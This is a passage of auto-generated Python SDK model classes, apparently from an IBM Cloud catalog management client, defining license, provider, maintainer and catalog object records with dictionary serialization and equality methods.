_dict['seats_allowed'] = self.seats_allowed
if hasattr(self, 'seats_used') and self.seats_used is not None:
_dict['seats_used'] = self.seats_used
if hasattr(self, 'owner_id') and self.owner_id is not None:
_dict['owner_id'] = self.owner_id
if hasattr(self, 'license_offering_id') and self.license_offering_id is not None:
_dict['license_offering_id'] = self.license_offering_id
if hasattr(self, 'license_id') and self.license_id is not None:
_dict['license_id'] = self.license_id
if hasattr(self, 'license_owner_id') and self.license_owner_id is not None:
_dict['license_owner_id'] = self.license_owner_id
if hasattr(self, 'license_type') and self.license_type is not None:
_dict['license_type'] = self.license_type
if hasattr(self, 'license_provider_id') and self.license_provider_id is not None:
_dict['license_provider_id'] = self.license_provider_id
if hasattr(self, 'license_product_id') and self.license_product_id is not None:
_dict['license_product_id'] = self.license_product_id
if hasattr(self, 'license_provider_url') and self.license_provider_url is not None:
_dict['license_provider_url'] = self.license_provider_url
if hasattr(self, 'effective_from') and self.effective_from is not None:
_dict['effective_from'] = self.effective_from
if hasattr(self, 'effective_until') and self.effective_until is not None:
_dict['effective_until'] = self.effective_until
if hasattr(self, 'internal') and self.internal is not None:
_dict['internal'] = self.internal
if hasattr(self, 'offering_list') and self.offering_list is not None:
_dict['offering_list'] = [x.to_dict() for x in self.offering_list]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseObject object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseObject') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseObject') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseOfferingReference():
"""
License offering reference.
:attr str id: (optional) Offering ID.
:attr str name: (optional) Offering name.
:attr str label: (optional) Offering label'.
:attr str offering_icon_url: (optional) URL to offering icon.
:attr str account_id: (optional) Account ID associated with offering.
:attr str catalog_id: (optional) Catalog ID associated with offering.
"""
def __init__(self,
*,
id: str = None,
name: str = None,
label: str = None,
offering_icon_url: str = None,
account_id: str = None,
catalog_id: str = None) -> None:
"""
Initialize a LicenseOfferingReference object.
:param str id: (optional) Offering ID.
:param str name: (optional) Offering name.
:param str label: (optional) Offering label'.
:param str offering_icon_url: (optional) URL to offering icon.
:param str account_id: (optional) Account ID associated with offering.
:param str catalog_id: (optional) Catalog ID associated with offering.
"""
self.id = id
self.name = name
self.label = label
self.offering_icon_url = offering_icon_url
self.account_id = account_id
self.catalog_id = catalog_id
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseOfferingReference':
"""Initialize a LicenseOfferingReference object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'offering_icon_url' in _dict:
args['offering_icon_url'] = _dict.get('offering_icon_url')
if 'account_id' in _dict:
args['account_id'] = _dict.get('account_id')
if 'catalog_id' in _dict:
args['catalog_id'] = _dict.get('catalog_id')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseOfferingReference object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'offering_icon_url') and self.offering_icon_url is not None:
_dict['offering_icon_url'] = self.offering_icon_url
if hasattr(self, 'account_id') and self.account_id is not None:
_dict['account_id'] = self.account_id
if hasattr(self, 'catalog_id') and self.catalog_id is not None:
_dict['catalog_id'] = self.catalog_id
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseOfferingReference object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseOfferingReference') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseOfferingReference') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseProvider():
"""
BSS License provider.
:attr str name: (optional) Provider name, eg. IBM Passport Advantage.
:attr str short_description: (optional) Short description of license provider.
:attr str id: (optional) Provider ID.
:attr str licence_type: (optional) Type of license entitlement, e.g. ibm-ppa.
:attr str offering_type: (optional) Type of offering.
:attr str create_url: (optional) URL of the license provider for where to
create/get a license, e.g.
https://www.ibm.com/software/passportadvantage/aboutpassport.html.
:attr str info_url: (optional) URL of the license provider for additional info,
e.g. https://www.ibm.com/software/passportadvantage.
:attr str url: (optional) URL for the BSS license provider, e.g.
/v1/licensing/license_providers/:id.
:attr str crn: (optional) Provider CRN.
:attr str state: (optional) State of license provider.
"""
def __init__(self,
*,
name: str = None,
short_description: str = None,
id: str = None,
licence_type: str = None,
offering_type: str = None,
create_url: str = None,
info_url: str = None,
url: str = None,
crn: str = None,
state: str = None) -> None:
"""
Initialize a LicenseProvider object.
:param str name: (optional) Provider name, eg. IBM Passport Advantage.
:param str short_description: (optional) Short description of license
provider.
:param str id: (optional) Provider ID.
:param str licence_type: (optional) Type of license entitlement, e.g.
ibm-ppa.
:param str offering_type: (optional) Type of offering.
:param str create_url: (optional) URL of the license provider for where to
create/get a license, e.g.
https://www.ibm.com/software/passportadvantage/aboutpassport.html.
:param str info_url: (optional) URL of the license provider for additional
info, e.g. https://www.ibm.com/software/passportadvantage.
:param str url: (optional) URL for the BSS license provider, e.g.
/v1/licensing/license_providers/:id.
:param str crn: (optional) Provider CRN.
:param str state: (optional) State of license provider.
"""
self.name = name
self.short_description = short_description
self.id = id
self.licence_type = licence_type
self.offering_type = offering_type
self.create_url = create_url
self.info_url = info_url
self.url = url
self.crn = crn
self.state = state
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseProvider':
"""Initialize a LicenseProvider object from a json dictionary."""
args = {}
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'short_description' in _dict:
args['short_description'] = _dict.get('short_description')
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'licence_type' in _dict:
args['licence_type'] = _dict.get('licence_type')
if 'offering_type' in _dict:
args['offering_type'] = _dict.get('offering_type')
if 'create_url' in _dict:
args['create_url'] = _dict.get('create_url')
if 'info_url' in _dict:
args['info_url'] = _dict.get('info_url')
if 'url' in _dict:
args['url'] = _dict.get('url')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'state' in _dict:
args['state'] = _dict.get('state')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseProvider object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'short_description') and self.short_description is not None:
_dict['short_description'] = self.short_description
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'licence_type') and self.licence_type is not None:
_dict['licence_type'] = self.licence_type
if hasattr(self, 'offering_type') and self.offering_type is not None:
_dict['offering_type'] = self.offering_type
if hasattr(self, 'create_url') and self.create_url is not None:
_dict['create_url'] = self.create_url
if hasattr(self, 'info_url') and self.info_url is not None:
_dict['info_url'] = self.info_url
if hasattr(self, 'url') and self.url is not None:
_dict['url'] = self.url
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseProvider object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseProvider') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseProvider') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class LicenseProviders():
"""
Paginated list of license providers.
:attr int total_results: (optional) Total number of results.
:attr int total_pages: (optional) Total number of pages.
:attr str prev_url: (optional) Previous URL.
:attr str next_url: (optional) Next URL.
:attr List[LicenseProvider] resources: (optional) Resulting License Provider
objects.
"""
def __init__(self,
*,
total_results: int = None,
total_pages: int = None,
prev_url: str = None,
next_url: str = None,
resources: List['LicenseProvider'] = None) -> None:
"""
Initialize a LicenseProviders object.
:param int total_results: (optional) Total number of results.
:param int total_pages: (optional) Total number of pages.
:param str prev_url: (optional) Previous URL.
:param str next_url: (optional) Next URL.
:param List[LicenseProvider] resources: (optional) Resulting License
Provider objects.
"""
self.total_results = total_results
self.total_pages = total_pages
self.prev_url = prev_url
self.next_url = next_url
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'LicenseProviders':
"""Initialize a LicenseProviders object from a json dictionary."""
args = {}
if 'total_results' in _dict:
args['total_results'] = _dict.get('total_results')
if 'total_pages' in _dict:
args['total_pages'] = _dict.get('total_pages')
if 'prev_url' in _dict:
args['prev_url'] = _dict.get('prev_url')
if 'next_url' in _dict:
args['next_url'] = _dict.get('next_url')
if 'resources' in _dict:
args['resources'] = [LicenseProvider.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a LicenseProviders object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'total_results') and self.total_results is not None:
_dict['total_results'] = self.total_results
if hasattr(self, 'total_pages') and self.total_pages is not None:
_dict['total_pages'] = self.total_pages
if hasattr(self, 'prev_url') and self.prev_url is not None:
_dict['prev_url'] = self.prev_url
if hasattr(self, 'next_url') and self.next_url is not None:
_dict['next_url'] = self.next_url
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this LicenseProviders object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'LicenseProviders') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'LicenseProviders') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Licenses():
"""
Paginated list of licenses.
:attr int total_results: (optional) Total number of results.
:attr int total_pages: (optional) Total number of pages.
:attr str prev_url: (optional) Previous URL.
:attr str next_url: (optional) Next URL.
:attr List[LicenseObject] resources: (optional) Resulting License objects.
"""
def __init__(self,
*,
total_results: int = None,
total_pages: int = None,
prev_url: str = None,
next_url: str = None,
resources: List['LicenseObject'] = None) -> None:
"""
Initialize a Licenses object.
:param int total_results: (optional) Total number of results.
:param int total_pages: (optional) Total number of pages.
:param str prev_url: (optional) Previous URL.
:param str next_url: (optional) Next URL.
:param List[LicenseObject] resources: (optional) Resulting License objects.
"""
self.total_results = total_results
self.total_pages = total_pages
self.prev_url = prev_url
self.next_url = next_url
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'Licenses':
"""Initialize a Licenses object from a json dictionary."""
args = {}
if 'total_results' in _dict:
args['total_results'] = _dict.get('total_results')
if 'total_pages' in _dict:
args['total_pages'] = _dict.get('total_pages')
if 'prev_url' in _dict:
args['prev_url'] = _dict.get('prev_url')
if 'next_url' in _dict:
args['next_url'] = _dict.get('next_url')
if 'resources' in _dict:
args['resources'] = [LicenseObject.from_dict(x) for x in _dict.get('resources')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Licenses object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'total_results') and self.total_results is not None:
_dict['total_results'] = self.total_results
if hasattr(self, 'total_pages') and self.total_pages is not None:
_dict['total_pages'] = self.total_pages
if hasattr(self, 'prev_url') and self.prev_url is not None:
_dict['prev_url'] = self.prev_url
if hasattr(self, 'next_url') and self.next_url is not None:
_dict['next_url'] = self.next_url
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = [x.to_dict() for x in self.resources]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Licenses object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Licenses') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Licenses') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Maintainers():
"""
Repo maintainers.
:attr str email: (optional) Maintainer email address.
:attr str name: (optional) Name of maintainer.
"""
def __init__(self,
*,
email: str = None,
name: str = None) -> None:
"""
Initialize a Maintainers object.
:param str email: (optional) Maintainer email address.
:param str name: (optional) Name of maintainer.
"""
self.email = email
self.name = name
@classmethod
def from_dict(cls, _dict: Dict) -> 'Maintainers':
"""Initialize a Maintainers object from a json dictionary."""
args = {}
if 'email' in _dict:
args['email'] = _dict.get('email')
if 'name' in _dict:
args['name'] = _dict.get('name')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Maintainers object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'email') and self.email is not None:
_dict['email'] = self.email
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Maintainers object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Maintainers') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Maintainers') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class NamespaceSearchResult():
"""
Paginated list of namespace search results.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[str] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List[str] = None) -> None:
"""
Initialize a NamespaceSearchResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[str] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
self.last = last
self.prev = prev
self.next = next
self.resources = resources
@classmethod
def from_dict(cls, _dict: Dict) -> 'NamespaceSearchResult':
"""Initialize a NamespaceSearchResult object from a json dictionary."""
args = {}
if 'offset' in _dict:
args['offset'] = _dict.get('offset')
if 'limit' in _dict:
args['limit'] = _dict.get('limit')
if 'total_count' in _dict:
args['total_count'] = _dict.get('total_count')
if 'resource_count' in _dict:
args['resource_count'] = _dict.get('resource_count')
if 'first' in _dict:
args['first'] = _dict.get('first')
if 'last' in _dict:
args['last'] = _dict.get('last')
if 'prev' in _dict:
args['prev'] = _dict.get('prev')
if 'next' in _dict:
args['next'] = _dict.get('next')
if 'resources' in _dict:
args['resources'] = _dict.get('resources')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a NamespaceSearchResult object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'offset') and self.offset is not None:
_dict['offset'] = self.offset
if hasattr(self, 'limit') and self.limit is not None:
_dict['limit'] = self.limit
if hasattr(self, 'total_count') and self.total_count is not None:
_dict['total_count'] = self.total_count
if hasattr(self, 'resource_count') and self.resource_count is not None:
_dict['resource_count'] = self.resource_count
if hasattr(self, 'first') and self.first is not None:
_dict['first'] = self.first
if hasattr(self, 'last') and self.last is not None:
_dict['last'] = self.last
if hasattr(self, 'prev') and self.prev is not None:
_dict['prev'] = self.prev
if hasattr(self, 'next') and self.next is not None:
_dict['next'] = self.next
if hasattr(self, 'resources') and self.resources is not None:
_dict['resources'] = self.resources
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this NamespaceSearchResult object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'NamespaceSearchResult') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'NamespaceSearchResult') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Object():
"""
object information.
:attr str id: (optional) unique id.
:attr str name: (optional) The programmatic name of this offering.
:attr str rev: (optional) Cloudant revision.
:attr str crn: (optional) The crn for this specific object.
:attr str url: (optional) The url for this specific object.
:attr str parent_id: (optional) The parent for this specific object.
:attr List[str] allow_list: (optional) List of allowed accounts for this
specific object.
:attr str label_i18n: (optional) Translated display name in the requested
language.
:attr str label: (optional) Display name in the requested language.
:attr List[str] tags: (optional) List of tags associated with this catalog.
:attr datetime created: (optional) The date and time this catalog was created.
:attr datetime updated: (optional) The date and time this catalog was last
updated.
:attr str short_description: (optional) Short description in the requested
language.
:attr str short_description_i18n: (optional) Short description translation.
:attr str kind: (optional) Kind of object.
:attr PublishObject publish: (optional) Publish information.
:attr State state: (optional) Offering state.
:attr str catalog_id: (optional) The id of the catalog containing this offering.
:attr str catalog_name: (optional) The name of the catalog.
:attr object data: (optional) Map of data values for this object.
"""
def __init__(self,
*,
id: str = None,
name: str = None,
rev: str = None,
crn: str = None,
url: str = None,
parent_id: str = None,
allow_list: List[str] = None,
label_i18n: str = None,
label: str = None,
tags: List[str] = None,
created: datetime = None,
updated: datetime = None,
short_description: str = None,
short_description_i18n: str = None,
kind: str = None,
publish: 'PublishObject' = None,
state: 'State' = None,
catalog_id: str = None,
catalog_name: str = None,
data: object = None) -> None:
"""
Initialize a Object object.
:param str id: (optional) unique id.
:param str name: (optional) The programmatic name of this offering.
:param str rev: (optional) Cloudant revision.
:param str crn: (optional) The crn for this specific object.
:param str url: (optional) The url for this specific object.
:param str parent_id: (optional) The parent for this specific object.
:param List[str] allow_list: (optional) List of allowed accounts for this
specific object.
:param str label_i18n: (optional) Translated display name in the requested
language.
:param str label: (optional) Display name in the requested language.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param datetime created: (optional) The date and time this catalog was
created.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str short_description: (optional) Short description in the requested
language.
:param str short_description_i18n: (optional) Short description
translation.
:param str kind: (optional) Kind of object.
:param PublishObject publish: (optional) Publish information.
:param State state: (optional) Offering state.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str catalog_name: (optional) The name of the catalog.
:param object data: (optional) Map of data values for this object.
"""
self.id = id
self.name = name
self.rev = rev
self.crn = crn
self.url = url
self.parent_id = parent_id
self.allow_list = allow_list
self.label_i18n = label_i18n
self.label = label
self.tags = tags
self.created = created
self.updated = updated
self.short_description = short_description
self.short_description_i18n = short_description_i18n
self.kind = kind
self.publish = publish
self.state = state
self.catalog_id = catalog_id
self.catalog_name = catalog_name
self.data = data
@classmethod
def from_dict(cls, _dict: Dict) -> 'Object':
"""Initialize a Object object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if '_rev' in _dict:
args['rev'] = _dict.get('_rev')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'url' in _dict:
args['url'] = _dict.get('url')
if 'parent_id' in _dict:
args['parent_id'] = _dict.get('parent_id')
if 'allow_list' in _dict:
args['allow_list'] = _dict.get('allow_list')
if 'label_i18n' in _dict:
args['label_i18n'] = _dict.get('label_i18n')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'short_description' in _dict:
args['short_description'] = _dict.get('short_description')
if 'short_description_i18n' in _dict:
args['short_description_i18n'] = _dict.get('short_description_i18n')
if 'kind' in _dict:
args['kind'] = _dict.get('kind')
if 'publish' in _dict:
args['publish'] = PublishObject.from_dict(_dict.get('publish'))
if 'state' in _dict:
args['state'] = State.from_dict(_dict.get('state'))
if 'catalog_id' in _dict:
args['catalog_id'] = _dict.get('catalog_id')
if 'catalog_name' in _dict:
args['catalog_name'] = _dict.get('catalog_name')
if 'data' in _dict:
args['data'] = _dict.get('data')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Object object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'rev') and self.rev is not None:
_dict['_rev'] = self.rev
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'url') and self.url is not None:
_dict['url'] = self.url
if hasattr(self, 'parent_id') and self.parent_id is not None:
_dict['parent_id'] = self.parent_id
if hasattr(self, 'allow_list') and self.allow_list is not None:
_dict['allow_list'] = self.allow_list
if hasattr(self, 'label_i18n') and self.label_i18n is not None:
_dict['label_i18n'] = self.label_i18n
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'short_description') and self.short_description is not None:
_dict['short_description'] = self.short_description
if hasattr(self, 'short_description_i18n') and self.short_description_i18n is not None:
_dict['short_description_i18n'] = self.short_description_i18n
if hasattr(self, 'kind') and self.kind is not None:
_dict['kind'] = self.kind
if hasattr(self, 'publish') and self.publish is not None:
_dict['publish'] = self.publish.to_dict()
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state.to_dict()
if hasattr(self, 'catalog_id') and self.catalog_id is not None:
_dict['catalog_id'] = self.catalog_id
if hasattr(self, 'catalog_name') and self.catalog_name is not None:
_dict['catalog_name'] = self.catalog_name
if hasattr(self, 'data') and self.data is not None:
_dict['data'] = self.data
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Object object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Object') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Object') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ObjectDigest():
"""
object information.
:attr str id: (optional) unique id.
:attr List[float] order: (optional) Lucene match order.
:attr ObjectDigestFields fields: (optional) Object digest.
"""
def __init__(self,
*,
id: str = None,
order: List[float] = None,
fields: 'ObjectDigestFields' = None) -> None:
"""
Initialize a ObjectDigest object.
:param str id: (optional) unique id.
:param List[float] order: (optional) Lucene match order.
:param ObjectDigestFields fields: (optional) Object digest.
"""
self.id = id
self.order = order
self.fields = fields
@classmethod
def from_dict(cls, _dict: Dict) -> 'ObjectDigest':
"""Initialize a ObjectDigest object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'order' in _dict:
args['order'] = _dict.get('order')
if 'fields' in _dict:
args['fields'] = ObjectDigestFields.from_dict(_dict.get('fields'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ObjectDigest object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'order') and self.order is not None:
_dict['order'] = self.order
if hasattr(self, 'fields') and self.fields is not None:
_dict['fields'] = self.fields.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ObjectDigest object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ObjectDigest') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ObjectDigest') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ObjectDigestFields():
"""
Object digest.
:attr str catalog_id: (optional) The id of the catalog containing this offering.
:attr str name: (optional) The programmatic name of this offering.
:attr str parent_id: (optional) The parent for this specific object.
:attr str label: (optional) Display name in the requested language.
:attr datetime updated: (optional) The date and time this catalog was last
updated.
:attr str kind: (optional) Kind of object.
:attr str parent_name: (optional) The name of the object's parent.
"""
def __init__(self,
*,
catalog_id: str = None,
name: str = None,
parent_id: str = None,
label: str = None,
updated: datetime = None,
kind: str = None,
parent_name: str = None) -> None:
"""
Initialize a ObjectDigestFields object.
:param str catalog_id: (optional) The id of the catalog containing this
offering.
:param str name: (optional) The programmatic name of this offering.
:param str parent_id: (optional) The parent for this specific object.
:param str label: (optional) Display name in the requested language.
:param datetime updated: (optional) The date and time this catalog was last
updated.
:param str kind: (optional) Kind of object.
:param str parent_name: (optional) The name of the object's parent.
"""
self.catalog_id = catalog_id
self.name = name
self.parent_id = parent_id
self.label = label
self.updated = updated
self.kind = kind
self.parent_name = parent_name
@classmethod
def from_dict(cls, _dict: Dict) -> 'ObjectDigestFields':
"""Initialize a ObjectDigestFields object from a json dictionary."""
args = {}
if 'catalog_id' in _dict:
args['catalog_id'] = _dict.get('catalog_id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'parent_id' in _dict:
args['parent_id'] = _dict.get('parent_id')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'kind' in _dict:
args['kind'] = _dict.get('kind')
if 'parent_name' in _dict:
args['parent_name'] = _dict.get('parent_name')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ObjectDigestFields object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'catalog_id') and self.catalog_id is not None:
_dict['catalog_id'] = self.catalog_id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'parent_id') and self.parent_id is not None:
_dict['parent_id'] = self.parent_id
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'kind') and self.kind is not None:
_dict['kind'] = self.kind
if hasattr(self, 'parent_name') and self.parent_name is not None:
_dict['parent_name'] = self.parent_name
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ObjectDigestFields object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ObjectDigestFields') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ObjectDigestFields') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ObjectListResult():
"""
Paginated object search result.
:attr int offset: (optional) The offset (origin 0) of the first resource in this
page of search results.
:attr int limit: (optional) The maximum number of resources returned in each
page of search results.
:attr int total_count: (optional) The overall total number of resources in the
search result set.
:attr int resource_count: (optional) The number of resources returned in this
page of search results.
:attr str first: (optional) A URL for retrieving the first page of search
results.
:attr str last: (optional) A URL for retrieving the last page of search results.
:attr str prev: (optional) A URL for retrieving the previous page of search
results.
:attr str next: (optional) A URL for retrieving the next page of search results.
:attr List[Object] resources: (optional) Resulting objects.
"""
def __init__(self,
*,
offset: int = None,
limit: int = None,
total_count: int = None,
resource_count: int = None,
first: str = None,
last: str = None,
prev: str = None,
next: str = None,
resources: List['Object'] = None) -> None:
"""
Initialize a ObjectListResult object.
:param int offset: (optional) The offset (origin 0) of the first resource
in this page of search results.
:param int limit: (optional) The maximum number of resources returned in
each page of search results.
:param int total_count: (optional) The overall total number of resources in
the search result set.
:param int resource_count: (optional) The number of resources returned in
this page of search results.
:param str first: (optional) A URL for retrieving the first page of search
results.
:param str last: (optional) A URL for retrieving the last page of search
results.
:param str prev: (optional) A URL for retrieving the previous page of
search results.
:param str next: (optional) A URL for retrieving the next page of search
results.
:param List[Object] resources: (optional) Resulting objects.
"""
self.offset = offset
self.limit = limit
self.total_count = total_count
self.resource_count = resource_count
self.first = first
